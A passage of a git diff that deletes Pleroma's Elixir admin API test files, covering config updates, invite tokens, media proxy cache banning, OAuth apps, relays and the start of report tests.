31_536_000, - ":max_option_chars" => 200, - ":max_options" => 20, - ":min_expiration" => 0, - "nested" => %{ - ":max_expiration" => 31_536_000, - ":max_option_chars" => 200, - ":max_options" => 20, - ":min_expiration" => 0 - } - } - ] - } - ], - "db" => [":key2", ":key3"] - } - ], - "need_reboot" => false - } - end - - test "value as map", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => %{"key" => "some_val"} - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == - %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => %{"key" => "some_val"}, - "db" => [":key1"] - } - ], - "need_reboot" => false - } - end - - test "queues key as atom", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":oban", - "key" => ":queues", - "value" => [ - %{"tuple" => [":federator_incoming", 50]}, - %{"tuple" => [":federator_outgoing", 50]}, - %{"tuple" => [":web_push", 50]}, - %{"tuple" => [":mailer", 10]}, - %{"tuple" => [":transmogrifier", 20]}, - %{"tuple" => [":scheduled_activities", 10]}, - %{"tuple" => [":background", 5]} - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":oban", - "key" => ":queues", - "value" => [ - %{"tuple" => [":federator_incoming", 50]}, - %{"tuple" => [":federator_outgoing", 50]}, - %{"tuple" => [":web_push", 50]}, - %{"tuple" => [":mailer", 10]}, - %{"tuple" => [":transmogrifier", 20]}, - %{"tuple" => [":scheduled_activities", 10]}, - %{"tuple" => [":background", 5]} - ], - "db" => [ - ":federator_incoming", - ":federator_outgoing", - ":web_push", - ":mailer", - ":transmogrifier", - ":scheduled_activities", - ":background" - ] - } - ], - "need_reboot" => false - } - end - - test "delete part of settings by atom subkeys", %{conn: conn} do - insert(:config, - key: :keyaa1, - value: [subkey1: "val1", subkey2: "val2", subkey3: "val3"] - ) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":keyaa1", - subkeys: [":subkey1", ":subkey3"], - delete: true - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":keyaa1", - "value" => [%{"tuple" => [":subkey2", "val2"]}], - "db" => [":subkey2"] - } - ], - "need_reboot" => false - } - end - - test "proxy tuple localhost", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":http", - value: [ - %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} - ] - } - ] - }) - - assert %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":http", - "value" => value, - "db" => db - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} in value - assert ":proxy_url" in db - end - - test "proxy tuple domain", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":http", - value: [ - %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} - ] - } - ] - }) - - assert %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":http", - "value" => value, - "db" => db - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} in value - assert ":proxy_url" in db - end - - test "proxy tuple ip", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":http", - value: [ - %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} - ] - } - ] - }) - - assert %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":http", - "value" => value, - "db" => db - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} in value - assert ":proxy_url" in db - end - - @tag capture_log: true - test "doesn't set keys not in the whitelist", %{conn: conn} do - clear_config(:database_config_whitelist, [ - {:pleroma, :key1}, - {:pleroma, :key2}, - {:pleroma, Pleroma.Captcha.NotReal}, - {:not_real} - ]) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: "value1"}, - %{group: ":pleroma", key: ":key2", value: "value2"}, - %{group: ":pleroma", key: ":key3", value: "value3"}, - %{group: ":pleroma", key: "Pleroma.Web.Endpoint.NotReal", value: "value4"}, - %{group: ":pleroma", key: "Pleroma.Captcha.NotReal", value: "value5"}, - %{group: ":not_real", key: ":anything", value: "value6"} - ] - }) - - assert Application.get_env(:pleroma, :key1) == "value1" - assert Application.get_env(:pleroma, :key2) == "value2" - assert Application.get_env(:pleroma, :key3) == nil - assert Application.get_env(:pleroma, Pleroma.Web.Endpoint.NotReal) == nil - assert Application.get_env(:pleroma, Pleroma.Captcha.NotReal) == "value5" - assert Application.get_env(:not_real, :anything) == "value6" - end - - test "args for Pleroma.Upload.Filter.Mogrify with custom tuples", %{conn: conn} do - clear_config(Pleroma.Upload.Filter.Mogrify) - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: "Pleroma.Upload.Filter.Mogrify", - value: [ - %{"tuple" => [":args", ["auto-orient", "strip"]]} - ] - } - ] - }) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Upload.Filter.Mogrify", - "value" => [ - %{"tuple" => [":args", ["auto-orient", "strip"]]} - ], - "db" => [":args"] - } - ], - "need_reboot" => false - } - - assert Config.get(Pleroma.Upload.Filter.Mogrify) == [args: ["auto-orient", "strip"]] - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: "Pleroma.Upload.Filter.Mogrify", - value: [ - %{ - "tuple" => [ - ":args", - [ - "auto-orient", - "strip", - "{\"implode\", \"1\"}", - "{\"resize\", \"3840x1080>\"}" - ] - ] - } - ] - } - ] - }) - |> json_response(200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Upload.Filter.Mogrify", - "value" => [ - %{ - "tuple" => [ - ":args", - [ - "auto-orient", - "strip", - "{\"implode\", \"1\"}", - "{\"resize\", \"3840x1080>\"}" - ] - ] - } - ], - "db" => [":args"] - } - ], - "need_reboot" => false - } - - assert Config.get(Pleroma.Upload.Filter.Mogrify) == [ - args: ["auto-orient", "strip", {"implode", "1"}, {"resize", "3840x1080>"}] - ] - end - - test "enables the welcome messages", %{conn: conn} do - clear_config([:welcome]) - - params = %{ - "group" => ":pleroma", - "key" => ":welcome", - "value" => [ - %{ - "tuple" => [ - ":direct_message", - [ - %{"tuple" => [":enabled", true]}, - %{"tuple" => [":message", "Welcome to Pleroma!"]}, - %{"tuple" => [":sender_nickname", "pleroma"]} - ] - ] - }, - %{ - "tuple" => [ - ":chat_message", - [ - %{"tuple" => [":enabled", true]}, - %{"tuple" => [":message", "Welcome to Pleroma!"]}, - %{"tuple" => [":sender_nickname", "pleroma"]} - ] - ] - }, - %{ - "tuple" => [ - ":email", - [ - %{"tuple" => [":enabled", true]}, - %{"tuple" => [":sender", %{"tuple" => ["pleroma@dev.dev", "Pleroma"]}]}, - %{"tuple" => [":subject", "Welcome to <%= instance_name %>!"]}, - %{"tuple" => [":html", "Welcome to <%= instance_name %>!"]}, - %{"tuple" => [":text", "Welcome to <%= instance_name %>!"]} - ] - ] - } - ] - } - - refute Pleroma.User.WelcomeEmail.enabled?() - refute Pleroma.User.WelcomeMessage.enabled?() - refute Pleroma.User.WelcomeChatMessage.enabled?() - - res = - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{"configs" => [params]}) - |> json_response_and_validate_schema(200) - - assert Pleroma.User.WelcomeEmail.enabled?() - assert Pleroma.User.WelcomeMessage.enabled?() - assert Pleroma.User.WelcomeChatMessage.enabled?() - - assert res == %{ - "configs" => [ - %{ - "db" => [":direct_message", ":chat_message", ":email"], - "group" => ":pleroma", - "key" => ":welcome", - "value" => params["value"] - } - ], - "need_reboot" => false - } - end - end - - describe "GET /api/pleroma/admin/config/descriptions" do - test "structure", %{conn: conn} do - admin = insert(:user, is_admin: true) - - conn = - assign(conn, :user, admin) - |> get("/api/pleroma/admin/config/descriptions") - - assert [child | _others] = json_response_and_validate_schema(conn, 200) - - assert child["children"] - assert child["key"] - assert String.starts_with?(child["group"], ":") - assert child["description"] - end - - test "filters by database configuration whitelist", %{conn: conn} do - clear_config(:database_config_whitelist, [ - {:pleroma, :instance}, - {:pleroma, :activitypub}, - {:pleroma, Pleroma.Upload}, - {:esshd} - ]) - - admin = insert(:user, is_admin: true) - - conn = - assign(conn, :user, admin) - |> get("/api/pleroma/admin/config/descriptions") - - children = json_response_and_validate_schema(conn, 200) - - assert length(children) == 4 - - assert Enum.count(children, fn c -> c["group"] == ":pleroma" end) == 3 - - instance = Enum.find(children, fn c -> c["key"] == ":instance" end) - assert instance["children"] - - activitypub = Enum.find(children, fn c -> c["key"] == ":activitypub" end) - assert activitypub["children"] - - web_endpoint = Enum.find(children, fn c -> c["key"] == "Pleroma.Upload" end) - assert web_endpoint["children"] - - esshd = Enum.find(children, fn c -> c["group"] == ":esshd" end) - assert esshd["children"] - end - end -end diff --git a/test/web/admin_api/controllers/invite_controller_test.exs b/test/web/admin_api/controllers/invite_controller_test.exs deleted file mode 100644 index ab186c5e7..000000000 --- a/test/web/admin_api/controllers/invite_controller_test.exs +++ /dev/null @@ -1,281 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.InviteControllerTest do - use Pleroma.Web.ConnCase, async: true - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Repo - alias Pleroma.UserInviteToken - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "POST /api/pleroma/admin/users/email_invite, with valid config" do - setup do: clear_config([:instance, :registrations_open], false) - setup do: clear_config([:instance, :invites_enabled], true) - - test "sends invitation and returns 204", %{admin: admin, conn: conn} do - recipient_email = "foo@bar.com" - recipient_name = "J. D." - - conn = - conn - |> put_req_header("content-type", "application/json;charset=utf-8") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: recipient_email, - name: recipient_name - }) - - assert json_response_and_validate_schema(conn, :no_content) - - token_record = List.last(Repo.all(Pleroma.UserInviteToken)) - assert token_record - refute token_record.used - - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - email = - Pleroma.Emails.UserEmail.user_invitation_email( - admin, - token_record, - recipient_email, - recipient_name - ) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: {recipient_name, recipient_email}, - html_body: email.html_body - ) - end - - test "it returns 403 if requested by a non-admin" do - non_admin_user = insert(:user) - token = insert(:oauth_token, user: non_admin_user) - - conn = - build_conn() - |> assign(:user, non_admin_user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json;charset=utf-8") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: "foo@bar.com", - name: "JD" - }) - - assert json_response(conn, :forbidden) - end - - test "email with +", %{conn: conn, admin: admin} do - recipient_email = "foo+bar@baz.com" - - conn - |> put_req_header("content-type", "application/json;charset=utf-8") - |> post("/api/pleroma/admin/users/email_invite", %{email: recipient_email}) - |> json_response_and_validate_schema(:no_content) - - token_record = - Pleroma.UserInviteToken - |> Repo.all() - |> List.last() - - assert token_record - refute token_record.used - - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - email = - Pleroma.Emails.UserEmail.user_invitation_email( - admin, - token_record, - recipient_email - ) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: recipient_email, - html_body: email.html_body - ) - end - end - - describe "POST /api/pleroma/admin/users/email_invite, with invalid config" do - setup do: clear_config([:instance, :registrations_open]) - setup do: clear_config([:instance, :invites_enabled]) - - test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn} do - Config.put([:instance, :registrations_open], false) - Config.put([:instance, :invites_enabled], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: "foo@bar.com", - name: "JD" - }) - - assert json_response_and_validate_schema(conn, :bad_request) == - %{ - "error" => - "To send invites you need to set the `invites_enabled` option to true." - } - end - - test "it returns 500 if `registrations_open` is enabled", %{conn: conn} do - Config.put([:instance, :registrations_open], true) - Config.put([:instance, :invites_enabled], true) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/email_invite", %{ - email: "foo@bar.com", - name: "JD" - }) - - assert json_response_and_validate_schema(conn, :bad_request) == - %{ - "error" => - "To send invites you need to set the `registrations_open` option to false." - } - end - end - - describe "POST /api/pleroma/admin/users/invite_token" do - test "without options", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token") - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - refute invite.used - refute invite.expires_at - refute invite.max_use - assert invite.invite_type == "one_time" - end - - test "with expires_at", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token", %{ - "expires_at" => Date.to_string(Date.utc_today()) - }) - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - - refute invite.used - assert invite.expires_at == Date.utc_today() - refute invite.max_use - assert invite.invite_type == "date_limited" - end - - test "with max_use", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token", %{"max_use" => 150}) - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - refute invite.used - refute invite.expires_at - assert invite.max_use == 150 - assert invite.invite_type == "reusable" - end - - test "with max use and expires_at", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/invite_token", %{ - "max_use" => 150, - "expires_at" => Date.to_string(Date.utc_today()) - }) - - invite_json = json_response_and_validate_schema(conn, 200) - invite = UserInviteToken.find_by_token!(invite_json["token"]) - refute invite.used - assert invite.expires_at == Date.utc_today() - assert invite.max_use == 150 - assert invite.invite_type == "reusable_date_limited" - end - end - - describe "GET /api/pleroma/admin/users/invites" do - test "no invites", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/users/invites") - - assert json_response_and_validate_schema(conn, 200) == %{"invites" => []} - end - - test "with invite", %{conn: conn} do - {:ok, invite} = UserInviteToken.create_invite() - - conn = get(conn, "/api/pleroma/admin/users/invites") - - assert json_response_and_validate_schema(conn, 200) == %{ - "invites" => [ - %{ - "expires_at" => nil, - "id" => invite.id, - "invite_type" => "one_time", - "max_use" => nil, - "token" => invite.token, - "used" => false, - "uses" => 0 - } - ] - } - end - end - - describe "POST /api/pleroma/admin/users/revoke_invite" do - test "with token", %{conn: conn} do - {:ok, invite} = UserInviteToken.create_invite() - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => invite.token}) - - assert json_response_and_validate_schema(conn, 200) == %{ - "expires_at" => nil, - "id" => invite.id, - "invite_type" => "one_time", - "max_use" => nil, - "token" => invite.token, - "used" => true, - "uses" => 0 - } - end - - test "with invalid token", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => "foo"}) - - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} - end - end -end diff --git a/test/web/admin_api/controllers/media_proxy_cache_controller_test.exs b/test/web/admin_api/controllers/media_proxy_cache_controller_test.exs deleted file mode 100644 index f243d1fb2..000000000 --- a/test/web/admin_api/controllers/media_proxy_cache_controller_test.exs +++ /dev/null @@ -1,167 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.MediaProxyCacheControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import Mock - - alias Pleroma.Web.MediaProxy - - setup do: clear_config([:media_proxy]) - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - Config.put([:media_proxy, :enabled], true) - Config.put([:media_proxy, :invalidation, :enabled], true) - Config.put([:media_proxy, :invalidation, :provider], MediaProxy.Invalidation.Script) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/media_proxy_caches" do - test "shows banned MediaProxy URLs", %{conn: conn} do - MediaProxy.put_in_banned_urls([ - "http://localhost:4001/media/a688346.jpg", - "http://localhost:4001/media/fb1f4d.jpg" - ]) - - MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2") - |> json_response_and_validate_schema(200) - - assert response["page_size"] == 2 - assert response["count"] == 5 - - assert response["urls"] == [ - "http://localhost:4001/media/fb1f4d.jpg", - "http://localhost:4001/media/a688346.jpg" - ] - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=2") - |> json_response_and_validate_schema(200) - - assert response["urls"] == [ - "http://localhost:4001/media/gb1f44.jpg", - "http://localhost:4001/media/tb13f47.jpg" - ] - - assert response["page_size"] == 2 - assert response["count"] == 5 - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=3") - |> json_response_and_validate_schema(200) - - assert response["urls"] == ["http://localhost:4001/media/wb1f46.jpg"] - end - - test "search banned MediaProxy URLs", %{conn: conn} do - MediaProxy.put_in_banned_urls([ - "http://localhost:4001/media/a688346.jpg", - "http://localhost:4001/media/ff44b1f4d.jpg" - ]) - - MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") - MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") - - response = - conn - |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&query=F44") - |> json_response_and_validate_schema(200) - - assert response["urls"] == [ - "http://localhost:4001/media/gb1f44.jpg", - "http://localhost:4001/media/ff44b1f4d.jpg" - ] - - assert response["page_size"] == 2 - assert response["count"] == 2 - end - end - - describe "POST /api/pleroma/admin/media_proxy_caches/delete" do - test "deleted MediaProxy URLs from banned", %{conn: conn} do - MediaProxy.put_in_banned_urls([ - "http://localhost:4001/media/a688346.jpg", - "http://localhost:4001/media/fb1f4d.jpg" - ]) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/media_proxy_caches/delete", %{ - urls: ["http://localhost:4001/media/a688346.jpg"] - }) - |> json_response_and_validate_schema(200) - - refute MediaProxy.in_banned_urls("http://localhost:4001/media/a688346.jpg") - assert MediaProxy.in_banned_urls("http://localhost:4001/media/fb1f4d.jpg") - end - end - - describe "POST /api/pleroma/admin/media_proxy_caches/purge" do - test "perform invalidates cache of MediaProxy", %{conn: conn} do - urls = [ - "http://example.com/media/a688346.jpg", - "http://example.com/media/fb1f4d.jpg" - ] - - with_mocks [ - {MediaProxy.Invalidation.Script, [], - [ - purge: fn _, _ -> {"ok", 0} end - ]} - ] do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/media_proxy_caches/purge", %{urls: urls, ban: false}) - |> json_response_and_validate_schema(200) - - refute MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") - refute MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") - end - end - - test "perform invalidates cache of MediaProxy and adds url to banned", %{conn: conn} do - urls = [ - "http://example.com/media/a688346.jpg", - "http://example.com/media/fb1f4d.jpg" - ] - - with_mocks [{MediaProxy.Invalidation.Script, [], [purge: fn _, _ -> {"ok", 0} end]}] do - conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/pleroma/admin/media_proxy_caches/purge", - %{urls: urls, ban: true} - ) - |> json_response_and_validate_schema(200) - - assert MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") - assert MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") - end - end - end -end diff --git a/test/web/admin_api/controllers/oauth_app_controller_test.exs b/test/web/admin_api/controllers/oauth_app_controller_test.exs deleted file mode 100644 index ed7c4172c..000000000 --- a/test/web/admin_api/controllers/oauth_app_controller_test.exs +++ /dev/null @@ -1,220 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest do - use Pleroma.Web.ConnCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Web - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "POST /api/pleroma/admin/oauth_app" do - test "errors", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{}) - |> json_response_and_validate_schema(400) - - assert %{ - "error" => "Missing field: name. Missing field: redirect_uris." - } = response - end - - test "success", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => false - } = response - end - - test "with trusted", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url, - trusted: true - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => true - } = response - end - end - - describe "GET /api/pleroma/admin/oauth_app" do - setup do - app = insert(:oauth_app) - {:ok, app: app} - end - - test "list", %{conn: conn} do - response = - conn - |> get("/api/pleroma/admin/oauth_app") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => count, "page_size" => _} = response - - assert length(apps) == count - end - - test "with page size", %{conn: conn} do - insert(:oauth_app) - page_size = 1 - - response = - conn - |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response - - assert length(apps) == page_size - end - - test "search by client name", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "search by client id", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "only trusted", %{conn: conn} do - app = insert(:oauth_app, trusted: true) - - response = - conn - |> get("/api/pleroma/admin/oauth_app?trusted=true") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - end - - describe "DELETE /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - response = - conn - |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) - |> json_response_and_validate_schema(:no_content) - - assert response == "" - end - - test "with non existance id", %{conn: conn} do - response = - conn - |> delete("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end - - describe "PATCH /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - name = "another name" - url = "https://example.com" - scopes = ["admin"] - id = app.id - website = "http://website.com" - - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ - name: name, - trusted: true, - redirect_uris: url, - scopes: scopes, - website: website - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "id" => ^id, - "name" => ^name, - "redirect_uri" => ^url, - "trusted" => true, - "website" => ^website - } = response - end - - test "without id", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end -end diff --git a/test/web/admin_api/controllers/relay_controller_test.exs b/test/web/admin_api/controllers/relay_controller_test.exs deleted file mode 100644 index adadf2b5c..000000000 --- a/test/web/admin_api/controllers/relay_controller_test.exs +++ /dev/null @@ -1,99 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.RelayControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.User - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "relays" do - test "POST /relay", %{conn: conn, admin: admin} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/relay", %{ - relay_url: "http://mastodon.example.org/users/admin" - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "actor" => "http://mastodon.example.org/users/admin", - "followed_back" => false - } - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" - end - - test "GET /relay", %{conn: conn} do - relay_user = Pleroma.Web.ActivityPub.Relay.get_actor() - - ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] - |> Enum.each(fn ap_id -> - {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) - User.follow(relay_user, user) - end) - - conn = get(conn, "/api/pleroma/admin/relay") - - assert json_response_and_validate_schema(conn, 200)["relays"] == [ - %{ - "actor" => "http://mastodon.example.org/users/admin", - "followed_back" => true - }, - %{"actor" => "https://mstdn.io/users/mayuutann", "followed_back" => true} - ] - end - - test "DELETE /relay", %{conn: conn, admin: admin} do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/relay", %{ - relay_url: "http://mastodon.example.org/users/admin" - }) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/relay", %{ - relay_url: "http://mastodon.example.org/users/admin" - }) - - assert json_response_and_validate_schema(conn, 200) == - "http://mastodon.example.org/users/admin" - - [log_entry_one, log_entry_two] = Repo.all(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry_one) == - "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" - - assert ModerationLog.get_log_entry_message(log_entry_two) == - "@#{admin.nickname} unfollowed relay: http://mastodon.example.org/users/admin" - end - end -end diff --git a/test/web/admin_api/controllers/report_controller_test.exs b/test/web/admin_api/controllers/report_controller_test.exs deleted file mode 100644 index 57946e6bb..000000000 --- a/test/web/admin_api/controllers/report_controller_test.exs +++ /dev/null @@ -1,372 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ReportControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.ReportNote - alias Pleroma.Web.CommonAPI - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/reports/:id" do - test "returns report by its id", %{conn: conn} do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %{id: report_id}} = - CommonAPI.report(reporter, %{ 